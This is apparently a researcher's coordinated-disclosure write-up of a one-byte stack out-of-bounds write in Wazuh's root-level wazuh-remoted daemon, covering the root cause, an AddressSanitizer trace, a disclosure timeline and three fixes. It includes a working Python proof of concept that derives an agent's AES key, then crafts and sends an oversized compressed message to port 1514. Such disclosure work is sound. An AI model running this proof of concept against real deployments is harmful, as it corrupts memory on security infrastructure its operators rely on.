The short version
There is a one-byte out-of-bounds null write in wazuh-remoted — the root-level daemon that handles all encrypted agent communication in Wazuh. It triggers when any enrolled agent sends a message that decompresses to exactly 65,536 bytes.
The overflow is in os_zlib_uncompress(), called from ReadSecMSG(), called from HandleSecureMessage(). It has been confirmed by the Wazuh team with AddressSanitizer, which produced a clean stack-buffer-overflow trace pointing directly to os_zlib.c:39. A CVE has been requested.
What Wazuh is and why this matters
Wazuh is one of the most widely deployed open-source SIEMs in the world. Organizations run it on-premises specifically because they want to own their security stack — meaning the manager process tends to run with elevated privileges on infrastructure that matters.
wazuh-remoted is the daemon that sits on port 1514 and handles every encrypted message from every enrolled agent on the network. It runs as root. A memory corruption vulnerability here is not abstract — it sits in the middle of the most trusted communication path in the deployment.
Finding it
I was doing a code-level audit of the agent-to-manager communication path, specifically looking at what happens to data after it arrives on port 1514 and passes authentication.
The path is: message arrives → strip agent ID prefix → ReadSecMSG() decrypts → os_zlib_uncompress() decompresses → null-terminate the result → forward to analysisd.
That last step — null-terminate the result — is where the bug is.
The bug
HandleSecureMessage() allocates a 65,537-byte buffer on the stack:
char buffer[OS_MAXSTR + 1] = ""; // 65,537 bytes: indices 0..65536
When parsing the incoming message prefix (!001!#AES:...), the code advances a pointer through that buffer — past the opening !, the agent ID digits, and a second !. For a 3-digit agent ID like 001, this leaves the pointer 5 bytes in.
That pointer gets passed to ReadSecMSG(), which skips another 5 bytes internally to step over #AES:. So by the time decompression runs, the destination pointer is buffer + 10 — 10 bytes into a buffer the caller still thinks starts at index 0.
Then os_zlib_uncompress() writes the decompressed data and adds a null terminator:
if (uncompress((Bytef *)dst, &dst_size, ...) == Z_OK) {
dst[dst_size] = '\0';
return dst_size;
}
With dst = buffer + 10 and dst_size = OS_MAXSTR = 65536:
dst[65536] = '\0'
= buffer[10 + 65536]
= buffer[65546]
buffer only goes up to index 65,536. Index 65,546 is 10 bytes past the end of the stack array. The null write lands in memory the program does not own.
Any decompressed payload of 65,527 bytes or larger triggers it. At exactly 65,536 bytes the write lands as far out as it can go.
Building the PoC
To trigger the overflow you need a valid enrolled agent — the message has to pass AES decryption using the agent's derived key before it reaches the vulnerable path. That means you need the agent's key material, which I had from a separate finding in the same research session.
The PoC builds a plaintext payload of exactly 65,536 bytes, compresses it, encrypts it with the agent's AES key, frames it with the correct !001!#AES: prefix, and sends it to port 1514.
import hashlib, struct, zlib, socket
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
agent_id, agent_name = "001", "testagent"
raw_key = "fe1ca5f13a46589446ad8b2ada9c40f5e6ecac2a96d20361dbdeb8a300da7e87"
# Key derivation mirrors keys.c
fs1 = hashlib.md5(agent_name.encode()).hexdigest()
fs2 = hashlib.md5(agent_id.encode()).hexdigest()
fs1 = hashlib.md5((fs1 + fs2).encode()).hexdigest()[:15]
fs2 = hashlib.md5(raw_key.encode()).hexdigest()
aes_key = (fs2 + fs1).encode()[:32]
iv = b"FEDCBA0987654321"
# Build payload that decompresses to exactly OS_MAXSTR (65536) bytes
OS_MAXSTR = 65536
hdr = b"%05d" % 12345 + b"%010d" % 1 + b":" + b"%04d" % 1 + b":"
inner = hdr + b"A" * (OS_MAXSTR - 32 - len(hdr))
plaintext = hashlib.md5(inner).hexdigest().encode() + inner # exactly 65536 bytes
compressed = zlib.compress(plaintext, level=1)
bfsize = 8 - ((len(compressed) + 1) % 8)
if bfsize == 8: bfsize = 0
to_enc = b"!" * (1 + bfsize) + compressed
pad = 16 - (len(to_enc) % 16)
to_enc += bytes([pad] * pad)
cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv), backend=default_backend())
ciphertext = cipher.encryptor().update(to_enc) + cipher.encryptor().finalize()
msg = b"!001!#AES:" + ciphertext
tcp_frame = struct.pack("<I", len(msg)) + msg
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect(('localhost', 1514))
s.sendall(tcp_frame)
s.close()
Confirming it worked
The manager logged this:
wazuh-remoted: ERROR: (1106): String not correctly formatted.
The (1106) error is actually the success indicator. Here is what it means:
| Stage | What failure looks like | Result |
|---|---|---|
| Agent ID / IP check | (1400) error |
Passed |
| AES decryption | (1404) ENCKEY error |
Passed |
| zlib decompression | — | Passed — OOB write occurred here |
| MD5 checksum | (1406) ENCSUM error |
Passed |
| Message queue format | (1106) |
Failed — expected, payload was not a real event |
The message passed every cryptographic validation stage. The (1106) fires after decompression, which means the null write at buffer[65546] had already happened before execution reached the format check. The manager kept running because in this Docker build the byte landed in stack padding.
Whether it crashes or not depends on what is sitting at that offset in a given binary — which is build-dependent and compiler-dependent.
Wazuh's confirmation
I submitted the advisory with the PoC script. Wazuh ran it against a build compiled with AddressSanitizer:
==144660==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7a8775e4ab3a
WRITE of size 1 at 0x7a8775e4ab3a thread T20
#0 in os_zlib_uncompress os_zlib/os_zlib.c:39
#1 in ReadSecMSG os_crypto/shared/msgs.c:375
#2 in HandleSecureMessage remoted/secure.c:754
[66960, 132497) 'buffer' (line 557) <== Memory access at offset 132506 overflows this variable
Exact file. Exact line. Exact call chain I documented. Their response: "The overflow is 100% reproducible. We are working on a fix. We will request a CVE through this advisory."
The fix
Three independent options, any one of which closes it:
Option 1 — Pass dst_size - 1 as the decompression limit in os_zlib_uncompress() so the null terminator always lands inside the buffer:
unsigned long int limit = dst_size - 1;
if (uncompress((Bytef *)dst, &limit, ...) == Z_OK) {
dst[limit] = '\0'; // always within bounds
return limit;
}
Option 2 — Reject payloads that would overflow before decompressing:
if (*final_size >= OS_MAXSTR) {
return KS_CORRUPT;
}
Option 3 — Write the decompressed output into cleartext_msg (the dedicated output buffer) instead of back into the ciphertext buffer at an offset. This removes the pointer arithmetic problem entirely.
Disclosure
Reported to security@wazuh.com on 2026-04-28. Confirmed the same day. CVE pending through the GitHub Security Advisory.
I will update this post with the CVE number when it is assigned.
References
- GitHub Security Advisory (link pending public disclosure)
- Affected files:
src/shared/os_zlib/os_zlib.c:39,src/shared/os_crypto/shared/msgs.c:375,src/remoted/src/secure.c:754 - CWE-787: Out-of-bounds Write
- CWE-131: Incorrect Calculation of Buffer Size
Reported by Jonah DaCosta \ DaCosta Consulting — 2026-04-28
